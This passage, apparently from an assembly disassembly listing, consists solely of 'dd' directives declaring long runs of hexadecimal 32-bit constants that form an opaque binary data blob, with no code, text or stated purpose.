286EEF48h, 44DC1618h, 220F9E0Ah, 615A8B40h, 0FA81D72Ch dd 0CBB50840h, 0E429C035h, 0DE5469F2h, 4C4ACF00h, 798C516Dh dd 0BCB1086Eh, 86801E1Bh, 942BB459h, 0AC8048C8h, 0C8799D14h dd 341E4185h, 0D8EC20E0h, 0E800F443h, 0D4196305h, 140A258Eh dd 5402AC80h, 54A4E402h, 6C448AA9h, 63B4D500h, 1EEE42FEh dd 0BCA507EBh, 0A018D050h, 38CA78D7h, 44F5DC00h, 0FC86FF3Bh dd 697E18B4h, 709F41F7h, 35DACF00h, 0AE7BC5CDh, 0ED67FBFh dd 3160E60Eh, 37B3E760h, 63162A13h, 40458A69h, 8C8BE51Bh dd 0EF7D1E00h, 0BFFEF515h, 0E08B5105h, 0F08C4042h, 0A47679ABh dd 45E703A8h, 72DE3F50h, 2DA0C0ECh, 51804B87h, 0A392889Fh dd 46471200h, 502BAE6Eh, 0ACC63889h, 80058C52h, 0EF467BFEh dd 892BCC82h, 0F2E2809Ch, 384E6462h, 6E12E9C4h, 1FFC0FE4h dd 1C83B8ABh, 68C21B1Eh, 0D6B28468h, 0A6D5383Dh, 5F0054A1h dd 0B1B0953Bh, 0AD300F3h, 989B1343h, 32F0AFC7h, 450063F4h dd 9E19765Dh, 0FAFFC38Dh, 8488A0ECh, 9CD70F68h, 370C2C24h dd 545CF9A9h, 47430099h, 9EAAE856h, 342B09E4h, 8C003DA0h dd 0DBAF946h, 0A43AC440h, 28CD2C94h, 6D6904F8h, 28710FE8h dd 0CB1F8001h, 8B9EB632h, 83A9F70Ah, 0A483D4DBh, 0A035F76h dd 0C9D08729h, 3D5A02B4h, 0C960FEA1h, 95E676F6h, 541CAB00h dd 65D876Fh, 2077813h, 156ED9Dh, 0B861B533h, 0F0A8D845h dd 82F9F24h, 882C0B08h, 0E4497A2h, 0BE8EF240h, 2C032BBDh dd 6A32B6C5h, 0F04DA087h, 83980168h, 81A9BFCCh, 0B0B1A69Ch dd 7913C611h, 8F703037h, 0BA03E664h, 0E889657Ch, 9C5E1F42h dd 337B160Fh, 17D8EF88h, 2000AC12h, 95872CBBh, 0F670BDh dd 79D2899h, 0E11BFE08h, 0BECB01Eh, 9F8CEB9Dh, 129D2623h dd 20C34302h, 0C2ED6758h, 7B708C63h, 2422C337h, 8B288691h dd 0D810CB05h, 0D60E3D9Bh, 209E0196h, 76BC4E59h, 0F832482Ch dd 719D78C8h, 98DC11A5h, 44FA8048h, 1900B2C3h, 7FA36BCBh dd 0C3C2E245h, 0F089AC19h, 76FDA118h, 0C39C51h, 4C29F13h dd 0CE79D53Fh, 3EE1D20Fh, 54C1DC3Ah, 44CB875Eh, 0C6B02030h dd 417FFD71h, 4F642A00h, 25E3826Bh, 280EE50h, 97D31F0Dh dd 9C405C8Ah, 4A2A63E0h, 9144F8C5h, 4A7C7879h, 492856F0h dd 58220E88h, 2B0006A4h, 18CCF3D9h, 28AA55C7h, 80283246h dd 0DE046C14h, 562C9C16h, 0B1E568C0h, 0C00E14ECh, 0F82ED01Dh dd 88AE4190h, 11D0291Ch, 792EC0E7h, 0AAAF0854h, 1056E264h dd 0C2005060h, 9516B317h, 8901CCA9h, 0F6E54E1Ch, 33608179h dd 8AC51F9Ch, 5CFE80ACh, 0F4A9E00Fh, 54E47EFCh, 7BCF9A00h dd 6043D9BFh, 639305DCh dd 0D09677E6h, 0C2A29BB0h, 0BD002091h, 0FDFE7F5Fh, 8FB4A84Bh dd 99970082h, 0DEAE74E0h, 2800AD89h, 789B3558h, 39D957AAh dd 0F6805A2Eh, 58CFE09h, 0C0966137h, 1B1F2540h, 47E094F3h dd 0A2AC84D5h, 7C70004Ch, 885D4A25h, 48A098FAh, 9E3F2067h dd 0C8126880h, 254E427h, 0CB18AE73h, 16B0CFFEh, 13E8149Dh dd 0B712B408h, 61882973h, 44D808C9h, 48B8A24Dh, 662F09BCh dd 34D8231Eh, 9491C461h, 0FDF1482Ah, 0F40A8062h, 1EC7184Ch dd 97111D68h, 0B0D850A5h, 9136FD02h, 0E4C64B62h, 0CBBBD400h dd 497232A8h, 2F300F8h, 857881C0h, 64148C90h, 6C7B6DBh dd 0C4BF7107h, 0E4E6EB50h, 9F3418E8h, 6386912Dh, 4CCC8B5Ch dd 0AC250824h, 8056403h, 8DA90B32h, 0ACA44890h, 5E791E1Fh dd 239E6E83h, 32487399h, 64C1BBB0h, 5F4EC560h, 8CF56606h dd 0A059C454h, 16259C0Ch, 0FA2805Ah, 7EA4E8h, 0DE094513h dd 91254A6Bh, 2F001863h, 0E88B2CD6h, 0B044E9A0h, 0F585A700h dd 356F65AEh, 476FEB3h, 2FE7EEF7h, 34D0B075h, 0D045984Ah dd 0A845AC47h, 0F40055A0h, 13272A81h, 54DF3922h, 0FDFF1880h dd 0CB0701EAh, 0DD138F7Ah, 0F417B561h, 5AAC1C40h, 192D3DBh dd 90223C41h, 0C880B785h, 72ECFA3Bh, 27CBA509h, 163081B9h dd 0E44844A4h, 1CEA0061h, 0F3A2F775h, 6301EE89h, 36FC33B6h dd 5C52FADFh, 3EF04466h, 0B581A3C6h, 741E8DA8h, 32A442CBh dd 69F8F91Bh, 1D008832h, 62AF5594h, 4F035AF5h, 0D5F334A1h dd 0D2EBC838h, 0EA070F4h, 2FE4A590h, 66684A53h, 0A20B1820h dd 3B051316h, 6F0E5C21h, 79A9B0C0h, 0FFD80062h, 454FCD72h dd 7A136D6Eh, 0A804BBA0h, 7948267Dh, 5ABF2E80h, 186B565h dd 36AF4219h, 9791D80Ah, 0A432D530h, 0E6B120C3h, 249AABFDh dd 4CFD4898h, 0DA00B4F8h, 522997CFh, 2CCF21Eh, 88DD8B08h dd 64510C1Fh, 0BB37CF01h, 8D62CD8h, 0DA800008h, 0AF4B618Bh dd 2A165890h, 18818ACBh, 0A03D6734h, 78B6450h, 131DAFCAh dd 9AB5B2A5h, 0ACC04605h, 0C987A981h, 64220739h, 2EC2A5C6h dd 35F2FC64h, 0E8393003h, 0B1D7489Ah, 0B9D8D847h, 0A67F00C5h dd 63090B34h, 39009D7Ch, 939F102Bh, 96209EA2h, 0E8094B74h dd 1B667440h, 0B41588h, 86A5D604h, 367FC7DBh, 5A61D100h dd 5D515895h, 0A850F744h, 2313282h, 1BD24777h, 74D1B9F1h dd 0CC48ED11h, 883B4AC0h, 0A0001735h, 50489562h, 0AD2F1Ah dd 0D258366Bh, 2E438880h, 1C089A4Ah, 42B1834Bh, 0C6F176B9h dd 375884CBh, 38CC2C60h, 20BA6742h, 909489C5h, 0AE9A5713h dd 0D42E004h, 5082790Bh, 5881DEADh, 208C2EDCh, 13A4444h dd 948813C6h, 4F9B5008h, 0AAF020B2h, 6F00713Dh, 47B75DBDh dd 776D772Ah, 19C8E0CCh, 70419A8Ch, 0E0C9156Ah, 2830C240h dd 0B8E57FF6h, 806220C0h, 89E1CB0h, 9F00DC93h, 93FFF4B3h dd 0F07E666Bh, 8F4829A4h, 24405A70h, 0CAECACCDh, 0AB7E32BFh dd 0F8E08CB8h, 0DF407B1Ah, 0ACC144F1h, 0C81C8650h, 80596331h dd 5400DE40h, 0D66C69B6h, 88AFF039h, 533EE90Ch, 9FC19CC9h dd 16DC4C80h, 523710A2h, 0E502C445h, 0E6B3E1D5h, 0DE13B844h dd 5030AB19h, 0C957BCh, 4697ED0Bh, 0EF02A38Fh, 2F3A410Bh dd 67BC00F2h, 2CF3145h, 7E2CD7CDh, 0EC82D659h, 9A21E32Fh dd 0A205DF74h, 4CD3000Ch, 7313D2B5h, 6F60E21h, 36A0240Ch dd 7934CFB4h, 9C77A104h, 2090D953h, 924C507h, 0FE1B197Bh dd 70300844h, 84CB210Eh, 0C87814D3h, 0BE003444h, 176BB310h dd 8539599Bh, 6AD9001Fh, 0EEA40597h, 232B021Ah, 0CA9ACBBAh dd 0A0B42F0Bh, 1F912F81h, 8C8A06A4h, 0D85D8DDAh, 0C0E05B24h dd 3D25A0EFh, 77F98C5Fh, 9B9000C4h, 0CE1E306Bh, 1116B2ABh dd 0C044A094h, 0E7400C40h, 0FD78EE42h, 0E0BDA526h, 46CB225h dd 40CC7F9Ch, 92A52DDBh, 47763882h, 67027459h, 4086C25Ah dd 524041h, 82AF8C80h, 0CF438114h, 0DB70A526h, 0B490FD12h dd 0F4F00Dh, 4E53ACE1h, 6A5E9A10h, 0E2A7B107h, 833E44E5h dd 0E216589Eh, 0E3B8801Ah, 0F024CA76h, 0E7F50411h, 0C8FD7906h dd 91019590h, 7B483EEBh, 0E0CB3AA8h, 89D102h, 90DAF91Ch dd 81F5A974h, 45198B07h, 0B991FBEFh, 0C9FC7F69h, 1ECC09ACh dd 0A3826CBAh, 0A4725FA4h, 8019103Bh, 0FC83BD86h, 9B5D3Ch dd 0E7638F5Ah, 0C0DC160Ch, 5305F178h, 0B6421807h, 61B4BCC2h dd 52141E04h, 0EA4B007Ch, 0D66E0350h, 59B50C00h, 0C2470509h dd 4F0F3852h, 0E0919801h, 0D8840D73h, 0EC38547Eh, 0E24C7548h dd 0E572007Bh, 0ACCF8B9Fh, 81E90084h, 0A67AAE23h, 0AB604491h dd 437DF5B9h, 2DFD3E37h, 16B7CE81h, 48CAACB3h, 900986F0h dd 64E47E43h, 887D00D4h, 0EABDFF3Bh, 4F078355h, 0B391B469h dd 0A89DE9B3h, 5B1A2ACDh, 7DC52A6h, 0C317A58Ch, 4FA0D4E1h dd 2202FCDEh, 0BE9C3585h, 493879D9h, 7A29C898h, 97063216h dd 9271CA0Eh, 0DC2C5423h, 0A69B3444h, 0AF610B14h, 1E684CC2h dd 39190F6h, 0D21E4C7Ch, 0FB1BDEE8h, 0E800994Bh, 3B61CCB2h dd 0B938C2ABh, 6C66B5A9h, 2FD0C703h, 0C0DA3269h, 0BEA77C11h dd 6E49C09Ch, 5C000375h, 0AA418B25h, 198AEBh, 0E6E76F06h dd 0DD088D2Fh, 0CC0D9603h, 0A5FEEE26h, 0A519BB80h, 632B09B2h dd 0D448ED45h, 88A46B5Eh, 0A30E78B0h, 82739D7Bh, 0A07AFCE7h dd 0DDE33A90h, 0B633033Bh, 41854FB4h, 0FE5CC3B5h, 0C1D771ABh dd 683FCBE1h, 0F180C020h, 7BC76AC9h, 0EAE807F9h, 80532047h dd 8DE270BEh, 0CC46633Eh, 0E0C09F20h, 74BA10A0h, 558E0EC0h dd 0FA475945h, 32FEA7A4h, 587A2B76h, 0E2133403h, 1E79EA9h dd 0AA0F4441h, 60E661FEh, 2C4A8734h, 1031C98h, 0A5EA021Dh dd 0DD8775D7h, 2472CBh, 390B1955h, 0BE9EA0h, 1318C5CDh dd 0C31D277Bh, 0D1987278h, 61889305h, 94D4C10Bh, 2148F022h dd 2A58DA79h, 0D5432C20h, 3DF81D4Bh, 0C89A0073h, 635AEF72h dd 0BA020493h, 22F683A9h, 588070FDh, 8D6592B9h, 114C75F8h dd 940B396Fh, 13A96635h, 8894FB34h, 9340C01Eh, 0B478F1AFh dd 0F8990516h, 84EC901Ah, 0E0B88906h, 1112E7A5h, 1044BE66h dd 0A488E41Bh, 0BC17025Eh, 0D45B352Eh, 0D8823062h, 0F042E1E4h dd 0AF11C0C4h, 8C2E0AC9h, 89A63E7Dh, 0D0C817BCh, 0F1BAF5D4h dd 9731609Dh, 94D5000Fh, 0B28AF3E1h, 0E80C1618h, 799344B5h dd 0B8A103BEh, 5ADEE146h, 0F41D718Fh, 14A6E03Eh, 7429601h dd 0D5F7654h, 0FAD1E710h, 0F8E1D629h, 6C97BF16h, 576843F0h dd 697F2640h, 24844080h, 3700DB19h, 8980415Bh, 5CC4A912h dd 6909A0CBh, 5C442F36h, 4745CC00h, 26E2D190h, 6189077Eh dd 80A24180h, 29F05E86h, 6F19D91Fh, 0CE538C49h, 0FD9E2918h dd 0AAF90098h, 0C2E4A8A3h, 9099C8E8h, 0F00A3E82h, 1067E009h dd 282A4EB0h, 7A8267ACh, 98894C34h, 0E848C825h, 6300CADBh dd 6A789130h, 3C5AE87Eh, 0FB84B8D0h, 874B1172h, 10B22404h dd 18152288h, 0B6FFA87Ch, 0F70046D6h, 6C19C07Eh, 488CF0A2h dd 18079F73h, 578F1BC3h, 0C8A645CEh, 0B06B638h, 3B447604h dd 0CC1F4A89h, 8D4CAC0Ch, 0A244C46Ch, 458718ACh, 0CC4A6037h dd 80E82B8Ch, 33C84B18h, 8CA49h, 0FC9E9FBCh, 7CF6A8A0h dd 0A5244300h, 35B6CC84h, 4AA4A7Bh, 0D8932778h, 323DE9CCh dd 258F87E1h, 0D4F10FC0h, 0CBE01A57h, 4261C00Bh, 0B9968EBBh dd 0FB981B00h, 7EA88C62h dd 42664A37h, 0B5252EBCh, 0DBA2660h, 6C89F090h, 12CD0883h dd 0C87B94C7h, 2D5C7680h, 0E4B1C048h, 9D7FEFh, 0AB162B56h dd 0F73B780h, 80A46348h, 1C74011Dh, 2827E869h, 308C5ACh dd 0B6B5E703h, 715F49E6h, 68D6D00Bh, 1EFC588h, 28AD3125h dd 7CF1BD2Bh, 0B2CC009Ch, 6D146315h, 27810E4Dh, 0F26F56EDh dd 5380400Fh, 453398A5h, 7C010D00h, 1343B582h, 6EDA00ACh dd 64EFD477h, 0B11F56A8h, 2C01C38Bh, 0FAA47BD1h, 8C2EC8C3h dd 847E5466h, 5B4C9086h, 1E64401Ah, 78ADFA27h, 2D009095h dd 15E70086h, 0CF5CB4ABh, 5A00A80Ch, 33B111BCh, 0F99424Eh dd 8FC89D46h, 0D8600593h, 7DBCB01Dh, 432159F8h, 503890CCh dd 695A7B84h, 982EE440h, 78A7FF20h, 809A0424h, 0F50A2A43h dd 0C6604208h, 56B2AC22h, 25C76000h, 0AE85743h, 5184B501h dd 8F3FBD34h, 0AC8EA0D7h, 826A1252h, 0F30808DBh, 0AB7F7940h dd 4F67B76h, 55446AA5h, 83CBC90h, 0DEB866h, 0CE8BDA86h dd 5B0BB68Ch, 0A2AC4B61h, 105A4230h, 2A882C9Ah, 44372F63h dd 0D9F32811h, 1BDC64A4h, 81BBAD32h, 60C4E6h, 35CC45DDh dd 146ABCF6h, 6694BA00h, 0A1248C09h, 5CE70B08h, 884DD29h dd 0B044C73Eh, 0D346BC8Eh, 9E5C4B77h, 0E3270090h, 5A43BFE2h dd 788C0680h, 30ACA8C4h, 38724102h, 87BCB31h, 0A5802C0h dd 0B8504898h, 0BDBE3700h, 0AA8AAFE7h, 0EFB00084h, 0B4ACA49Dh dd 3B046EB7h, 369FEC8Bh, 3E47E087h, 0DFD07C47h, 1849069h dd 0D78175B5h, 0F25D8A48h, 0AD788840h, 86ABA80Fh, 0EC2B6A2Ah dd 377D7F01h, 0A82D7798h, 0DC00A522h, 0AF9C0C1Ch, 0B6E6D5h dd 8B411737h, 16F3811Fh, 0D1006674h, 83E9B552h, 9607CFACh dd 0C10E3EACh, 0EF477133h, 53BFC0AFh, 30C076B3h, 82A3963Bh dd 0E6B701ACh, 89B20670h, 0E0092AFCh, 0BC7A99h, 66C143B6h dd 0AE77F108h, 0B52F8C04h, 0A8E9B16Ah, 0D574C322h, 7E542500h dd 0FB080FFEh, 1F790216h, 70FDE163h, 5247602Eh, 143B2D9Ch dd 0E26F7121h, 50B17509h, 83492480h, 15008611h, 4DF54394h dd 3AAFF888h, 0E681B32Ch, 0FD42DBB4h, 0C595FC76h, 92C1D896h dd 41E4BF3Eh, 0D3720045h, 0EA09C367h, 0CB5D0AF5h, 37D5032Ch dd 0BB63EF13h, 0D34822FCh, 0F81BE713h, 8167A8D0h, 0E4933AFAh dd 0FEB7C300h, 9A8C878Bh, 0A21B3706h, 32F91E7Dh, 16485942h dd 5A88E52Fh, 2C7880C1h, 50E2A01Ch, 0B07F4700h, 3C62EB04h dd 589A2E98h, 74142FFCh, 577B0300h, 1AC98197h, 45F001Dh dd 9BFB364Dh, 7626A562h, 6643542Eh, 114100E3h, 818EAFFDh dd 0C35AB1CEh, 0CAB8AC20h, 0DD47009Dh, 0FCA7E785h, 0B308DB5Dh dd 83011BBCh, 0F6BFF51Eh, 5C0800A5h, 0AD7F96E5h, 342B7612h dd 240068B2h, 4F578660h, 0B200F940h, 0A5EEF769h, 0A716428h dd 68BE5F11h, 82AA17BCh, 78D9C0CCh, 78627F00h, 260D95BEh dd 2366970h, 0F161375Eh, 4300B07Ah, 3E8ED6F3h, 0B9AC1BADh dd 64C680ECh, 0A5491029h, 7A7C875Ch, 26C05748h, 8000009Fh dd 0D37F7B20h, 548C242Ah, 0C7CA0130h, 70BAA574h, 0EF67848h dd 19C240Eh, 81D74475h, 62812CECh, 0D0C6B9CFh, 91076ADBh dd 0BB3DEAF3h, 6BB38170h, 0BC2CB088h, 0FD8A80C8h, 13568F2h dd 78F43Fh, 0DDA9923Ch, 2954AC3Fh, 249CCECBh, 76C71178h dd 76B5A307h, 0E9C2FE88h, 92864E5h, 0C3A9CBE1h, 4F554CA0h dd 7500A024h, 0A802097Dh, 0C029492Dh, 9AFFC1B4h, 2E609774h dd 0C6612110h, 0AF1F0012h, 0FC8D3307h, 0D11D9E94h, 0A8806A49h dd 0A4E5C59Ch, 579302E1h, 8CA98AEDh, 427C48C4h, 0A5790D03h dd 8F1BD5A2h, 10909944h, 0B4EEB5ACh, 40AE44C4h, 38906D63h dd 0C9300078h, 58E4DC31h, 9B0CFD4h, 8B64160Ah, 0E640C4D3h dd 9DD4489h, 0E0AA7A84h, 22794A5h, 0D850280Ch, 457A4CE4h dd 0F4061903h, 0C211C064h, 0C20880ECh, 5A54AE39h, 8A835A9h dd 9E800D60h, 65696127h, 282C7083h, 708FF81h, 45197E8Fh dd 0D0561025h, 0D4FA606Ch, 0E5E12160h, 4A1BE1D6h, 797040F0h dd 8A3719C7h, 0B4B7EB16h, 88126C09h, 0FB08EC12h, 115982DDh dd 5844445Ah, 0B936C302h, 4BA257Dh, 94B9CBh, 0F8D14F41h dd 0AFA863h, 386C816Ah, 0F9C808ACh, 0BC89C89Bh, 28E8D079h dd 26CC54C5h, 0BF805D8h, 0E0E8697Eh, 513ED67Ch, 0A017093h dd 0E3FE2D33h, 80396637h, 40F8472Ch, 0AE680CBh, 0B76D750Fh dd 99480C8Ch, 209F6E7h, 0D8F3D153h, 38606425h, 1F880141h dd 0C3A01944h, 40F4F805h, 67FC7144h, 438E69C0h, 998A12h dd 80EDA5B8h, 4963377Bh, 685E21C9h, 38769198h, 8887F1A8h dd 314C9F2Eh, 0ECBFE123h, 344F9DD5h, 1BC770C1h, 558B6983h dd 4100AD47h, 34E6466Dh, 0E098DF6h, 206E5FA1h, 0D8862480h dd 0AB00E81Ch, 0E4DDE970h, 659EDFA5h, 0C54638A6h, 8CA20Ch dd 0BD06D44Ah, 68C39Fh, 8F77C68Dh, 0E13EB160h, 0F8438601h dd 0E6854796h, 0DB44888h, 76803281h, 0D9020145h, 0AD643471h dd 0F06A6304h, 42804B4Ch, 0C7902F15h, 0E67E8418h, 9D94D654h dd 66A36B0Ah, 9880F019h, 0B140DD0Fh, 0B66E0743h, 51B8F5F0h dd 2A1E9CB5h, 9DEE6020h, 0E0CFE075h, 14EA39CEh, 0C589B000h dd 8D84C48Fh, 690A0814h, 4400762Ch, 121D6EC0h, 24748316h dd 2C8E5EAEh, 9CC104ABh, 0CF48A83Ah, 706480CDh, 346B216h dd 5EB442F1h, 0EAB84769h, 5BB8D179h, 2F54EE48h, 0FBF8199Ah dd 1D165908h, 0C81F8F64h, 0FF437105h, 88E26888h, 8BFE4CFBh dd 9A5B640Dh, 8F15069h, 0E322602Dh, 96C358C8h, 43D9E1D5h dd 20171A40h, 54CC6334h, 60ACBCFEh, 41B3DD16h, 0C1976B00h dd 20E2CA6h, 0E15B16D5h, 63FC08CDh, 3020931Ch, 0E2A909E6h dd 0D0000566h, 0B2925998h, 0B80D88D5h, 0E4675900h, 282BA400h dd 7226A505h, 0A0ABAA2Ah, 0B340B4B4h, 3EB43208h, 60D99967h dd 12D08A4Bh, 48E7ED45h, 84A0CB27h, 185F71CDh, 69C2C132h dd 76D122ADh, 0E00550F3h, 481CA679h, 0E750186Fh, 63872CD5h dd 7EE20900h, 0BDB71018h, 39F52200h, 84662F1Fh, 0FD5100EDh dd 8D018CB5h, 0DE4FFBAh, 0F9449197h, 4E4EC84Ch, 7B48410Ch dd 20C2AE13h, 0B90517B3h, 0B46C8EF3h, 74A834D4h, 4CC0C34Bh dd 50D98800h, 0DCE1104Eh, 5A4400F2h, 0B7C686EFh, 3C90F0BEh dd 13009490h, 5B8164EDh, 0B9E13F3Ch, 0DE668828h, 0D66E5705h dd 38043CF2h, 0B29F3756h, 8D250554h, 58AC7E85h, 0CF5E2F03h dd 0BDE08FE3h, 977C99B5h, 0FBA41095h, 456E02A8h, 1D42B4A5h dd 0C3249C80h, 0AAE282CFh, 0B12B0D0Fh, 0E1DA80BDh, 0CAA89B7Ch dd 9BCE738h, 500828AFh, 54434BF0h, 5080E2AAh, 0BFE783Dh dd 46179A03h, 95668CDCh, 0E086A0D0h, 90F75B42h, 22F41E00h dd 0CC7F9104h, 0F8C2D76Ah, 7D52948h, 15221B21h, 0A9808204h dd 429C4680h, 70B100E7h, 3886890Eh, 406C004Ah, 18D474C8h dd 3D01D34Eh, 497EC043h, 35E156CEh, 0C161083h, 0B10E110Bh dd 0C0ACCFA9h, 71A8A0DEh, 4494B81Dh, 0C04EA6C4h, 80A68412h dd 1AD0C84Fh, 0A913420Ah, 0F0905081h, 3FECB682h, 6640D054h dd 3929BE42h, 88CA279Fh, 4A017410h, 3CBBA3D1h, 2FC486BEh dd 0B0667949h, 0F4EF00FAh, 73243893h, 0E263B5F6h, 0F21AC808h dd 6018DC7Fh, 0B7A51D56h, 0A0303FFFh, 1014B902h, 40072CA9h dd 0ECB18F08h, 518E3980h, 0AC1AC6h, 6C315762h, 6D5EE468h dd 0BB340h, 80D964E2h dd 88896074h, 20C84328h, 0C09FC500h, 64CFE4E1h, 2017014Dh dd 1BD02946h, 91C3830h, 79377F7Bh, 7CBD1EF8h, 44689C24h dd 0C068BC2Bh, 599EBB68h, 3F6D0064h, 4A31895h, 0D83808F9h dd 497BFDFh, 7875DD2Bh, 80F68084h, 0D104B421h, 0AA409044h dd 51A7FA21h, 5E2E5B07h, 25718047h, 84DE3517h, 0ECECA6B8h dd 7A67E410h, 338060B6h, 350E6E73h, 0CF5404B9h, 0C525BCC9h dd 89ECB26Ch, 0F9848040h, 0B1A8A3BAh, 521381D8h, 0E4BD3B7Bh dd 10011417h, 0ABA72589h, 843703B2h, 0FE58374Bh, 7D439081h dd 25442381h, 15CC2047h, 2142370h, 0C9D71DCh, 0D879C143h dd 1800EF10h, 80AA2A42h, 1F5C2587h, 0C0B13F50h, 61CF02B7h dd 0E2A24690h, 54013CC6h, 6F063381h, 25D840E0h, 2224B8F3h dd 3A1692CAh, 0D403E480h, 0A4A9B537h, 0F18800F8h, 0E7ACE8E1h dd 2CF8E9F0h, 0C9704437h, 4578004h, 8148367h, 0FF80543Fh dd 0BD9B534Ah, 1007C52h, 6B1DAC5Fh, 355B2EFh, 0C5AF42FEh dd 0B6C25CC1h, 9466C062h, 0E9C91F01h, 0EB34108Ah, 0A3493080h dd 0A7C437Fh, 0B02F40A0h, 76A4E409h, 0D1509047h, 25BF0257h dd 0CB8CAEC0h, 5F01D052h, 0A04C9DCDh, 0A980FAFDh, 2D81DB86h dd 1100AD31h, 0D0508F4Dh, 3E8A667h, 841CD42Bh, 0B5C8FDDEh dd 5F2E44F1h, 0B4075605h, 9859CEA6h, 12CA410h, 56302D06h dd 20B1BCB6h, 0AA27FA30h, 34E6A3h, 0E5427F79h, 0EB0B76B3h dd 7B6E4C13h, 45161603h, 0E85C8856h, 7D600C7Ch, 4FA92609h dd 0B88BC80Bh, 2E7C7043h, 400CCB2Ah, 61D89A19h, 119D6904h dd 68805244h, 58C208E4h, 6B01EC96h, 0BD3859A0h, 0EBDE33Ah dd 14344508h, 0E11B8061h, 0C043FE9h, 8A440F83h, 0C4E52118h dd 0BE88AC11h, 0C89F0F81h, 0B2313973h, 7AA0C87Ch, 9C3A3D1Dh dd 91A00C8h, 0D6F9620Eh, 20A95E3Bh, 1FA2CD78h, 4BEC7116h dd 652224B4h, 0E80710Ah, 8B7FA444h, 0BC895EBFh, 8DFE20C8h dd 10E8E24Ch, 0D10B239Eh, 5003ED94h, 0CBC2D5D2h, 45009459h dd 0ECC5AB42h, 0DCFD2A95h, 0A84730D0h, 89453521h, 5783B300h dd 4FB8867Fh, 0AAAC2F1Bh, 5D58C818h, 70647648h, 8F748A17h dd 20E65062h, 7DA9C7C8h, 8A400496h, 0FE27887Eh, 17A5FE25h dd 0CC34F576h, 9E16B114h, 0A00BAFCDh, 0B2D0E9A8h, 5E800828h dd 4AB244Bh, 0B8567712h, 0B68FAF02h, 0EAEC80E1h, 0A0C5A5E7h dd 3BAA90F8h, 25A491C2h, 0A2082008h, 0B7140414h, 569F84BDh dd 64A378h, 97D8F934h, 0B5F1DEh, 0D68AFF1Eh, 0E69F4CECh dd 0E901472Dh, 71130DF8h, 18D798D8h, 0F01CE8B8h, 9B424454h dd 0E0B53386h, 3EAF0178h, 2903AAE1h, 37D39E46h, 0F0391FE1h dd 0BC1404C9h, 4AE07554h, 9047E444h, 0C17FA440h, 63EC6BDDh dd 4A4E010Fh, 0CB5A8058h, 48F86DF4h, 0E4C040AEh, 0E877AD57h dd 6707EF79h, 0DD2D5B6Fh, 0D31141A0h, 8508CB09h, 3479EC18h dd 0DD006BF7h, 22CBB642h, 1DF7B04h, 4BC1585Dh, 0F2069F0Eh dd 0AB2D8CD2h, 1CFE36h, 0A4B410C7h, 0B5012829h, 784C0C77h dd 64CE80E5h, 5EA200ACh, 0C181F34Fh, 8C007B24h, 9E089B01h dd 99B705A1h, 0DCB2805Ch, 0B1A29438h, 0A88DE000h, 8187B99Fh dd 0C55107F9h, 4484C6E8h, 0C3F090E5h, 0BF0361A2h, 47FAD1E3h dd 0A884AC41h, 0F21374A2h, 6986027Fh, 38512A4Fh, 1244A409h dd 913AC080h, 41AA3BABh, 0B6F44704h, 6FECE4FDh, 0EFE1B800h dd 691CE804h, 0B4961242h, 2E02CA5h, 0DEE602E1h, 40438050h dd 42DC1892h, 54784700h, 0A0EA2286h, 0E00F488Fh, 50278710h dd 0AA8BC1B8h, 2ABC798Ch, 0FE6211ECh, 16AB22DBh, 2BCA8Ch dd 2A565C1Fh, 0CB0B7C99h, 988A373h, 926471C4h, 8400BBA4h dd 70648C24h, 46D80012h, 1EB4426Eh, 2207E066h, 215D3272h dd 76D75A80h, 0C90F6028h, 103444E7h, 8C278B05h, 0A0886908h dd 625F0353h, 0FF7C7B03h, 72EAB7E9h, 100474F4h, 0A22A7A9Eh dd 63C4D8E9h, 841B247Eh, 0BCA5C019h, 0CA0400F7h, 0E36D1E38h dd 9CEAB7A6h, 0FC8B5F4Eh, 202C991Dh, 0DC502E00h, 9EEC20F1h dd 0B4D703FAh, 9A284464h, 5F46D2C0h, 36071C7Eh, 67C2DECCh dd 0AF9EBD8Eh, 0E3E4690Fh, 0C51BFE78h, 2E0258E3h, 0A5164FE7h dd 0A047445Ch, 0E98BBC10h, 2E1000A4h, 0F0789B6Bh, 0BEF0D5C1h dd 5C06EF02h, 601D0854h, 7523550h, 1B8B966Bh, 8FAD4h, 2BACC0C3h dd 0FE04817Eh, 0E15646A2h, 799EFC8Ch, 0DDBA00ECh, 0F3F4987Ch dd 2C00B795h, 5DBC86A8h, 9DA514DFh, 9C619432h, 0A608401Ch dd 0A09480FFh, 7933B440h, 7A1B0144h, 5DD1A67h, 0D6B9F0B6h dd 6D6EFB2Ch, 5ABAFA0Bh, 3984B0F8h, 0D104F8E1h, 0E088A91Ah dd 6C9507FCh, 0C39E001Ch, 831431F1h, 0C558578Ch, 50458008h dd 1ECC41A2h, 1415DE2Dh, 7A250838h, 7701CC44h, 671F3C1Ch dd 9828462Fh, 46ABA2C4h, 44101979h, 0CF487EDEh, 3A9609FFh dd 0C084CAE2h, 29C289C8h, 8415B2h, 5D8A2A1Eh, 0F900E0CCh dd 87A8AA72h, 3EBC19h, 42E7B907h, 0AD2EBB14h, 4AF48F5Ch dd 0D94C88h, 0B6220B66h, 0BC091C08h, 3E14CA00h, 329B8516h dd 0FFE525DCh, 4278C804h, 0FC7C6634h, 28C54BA0h, 1378D400h dd 0C8C0A5Eh, 42188B27h, 0AC7FC1B8h, 219E2584h, 8A6910E4h dd 0FC284B8h, 2C8A38ECh, 4AC627Ch, 0A10B7C10h, 0E7D02F20h dd 0A2923D63h, 22FB1B16h, 2880E6F0h, 70F5783Dh, 0A8E44612h dd 0A41C58F1h, 4C1812Dh, 0C84B58B8h, 0B6019564h, 0C588334Fh dd 36E0B349h, 2F8B8CAh, 0A9E0C09Eh, 80A5F18Bh, 93C8F4FCh dd 6D47D700h, 18B25A1Ch, 0D31B025Ch, 81B57852h, 0F9CB8661h dd 1038AD2Dh, 4A09DC8h, 13565EA3h, 45658009h, 6FE73781h dd 0CC541C23h, 44C98884h, 71A4086Eh, 52B1CF80h, 0F66B2486h dd 1F4B0E97h, 0A8806D56h, 6E5329Eh, 8F46BB13h, 3D0000B2h dd 0FA911453h, 0F5EE7E75h, 22679B00h, 0B260E62Dh, 0E9FD0B68h dd 0AA8271E5h, 47EF1B4h, 0A66E6100h, 0B6F903h, 5486E8FFh dd 45FE7BB5h, 7500E0E0h, 0E1DA9AACh, 3A5E8F3Eh, 541F65C0h dd 52A58Bh, 2C44712Ch, 1F8C44Bh, 3913F438h, 0DAB26DB6h dd 43799CC0h, 886CD503h, 0F084A966h, 2E62AB0Dh, 60144150h dd 0B2B5DC51h, 30BD2B00h, 0FE3637A2h, 0C86E4BA5h, 5D1F31B4h dd 